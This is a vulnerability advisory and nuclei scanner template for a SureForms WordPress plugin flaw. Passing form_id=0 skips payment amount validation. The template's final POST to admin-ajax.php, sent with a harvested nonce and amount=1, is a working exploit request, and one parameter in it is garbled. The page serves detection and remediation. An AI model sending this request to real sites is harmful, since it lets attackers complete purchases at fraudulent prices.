CVE-2026-4987· brainstormforce / sureforms· CWE-20
SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id
The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2. The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount(). By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.
Impact
Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices.
Fix
Update SureForms to version 2.6.0 or later.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/sureforms/readme.txt
Positive when: contains(body, "SureForms") and compare_versions(version, "<= 2.5.2")
Send: GET {{BaseURL}}/wp-json/sureforms/v1/refresh-nonces
Positive when: contains "payment_nonce"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "client_secret" or "payment_intent_id" or "API Key provided" AND not contains "Invalid nonce" AND status 200Run it with nuclei: nuclei -id CVE-2026-4987 -u <target>
The full check
id: CVE-2026-4987
info:
name: SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id
author: iamatownboy
severity: high
description: |
The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2.
The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount().
By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side
amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.
impact: |
Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices.
remediation: |
Update SureForms to version 2.6.0 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-4987
- https://www.wordfence.com/threat-intel/vulnerabilities/id/c4772b32-a730-44f2-b43c-f9bd5abb6541?source=cve
- https://plugins.trac.wordpress.org/changeset/3488858/sureforms
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2026-4987
epss-score: 0.00955
epss-percentile: 0.61695
cwe-id: CWE-20
metadata:
verified: true
max-request: 3
vendor: brainstormforce
product: sureforms
framework: wordpress
publicwww-query: "/wp-content/plugins/sureforms/"
tags: cve,cve2026,wordpress,wp,wp-plugin,sureforms,payment,validation-bypass,unauth
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/sureforms/readme.txt"
matchers:
- type: dsl
dsl:
- contains(body, "SureForms")
- compare_versions(version, "<= 2.5.2")
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-json/sureforms/v1/refresh-nonces"
matchers:
- type: word
part: body
words:
- "payment_nonce"
internal: true
extractors:
- type: regex
name: payment_nonce
part: body
group: 1
regex:
- '"payment_nonce"\s*:\s*"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Referer: {{BaseURL}}/
action=srfm_create_payment_intent&nonce={{payment_nonce}}&amount=1¤cy=usd&form_id=0&block_id=&description=SureForms&[email protected]&customer_name=test
matchers-condition: and
matchers:
- type: word
part: body
words:
- "client_secret"
- "payment_intent_id"
- "API Key provided"
condition: or
- type: word
part: body
words:
- "Invalid nonce"
negative: true
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2026-4987
- https://www.wordfence.com/threat-intel/vulnerabilities/id/c4772b32-a730-44f2-b43c-f9bd5abb6541?source=cve
- https://plugins.trac.wordpress.org/changeset/3488858/sureforms
Use this check only on systems you are authorised to test. Where the data comes from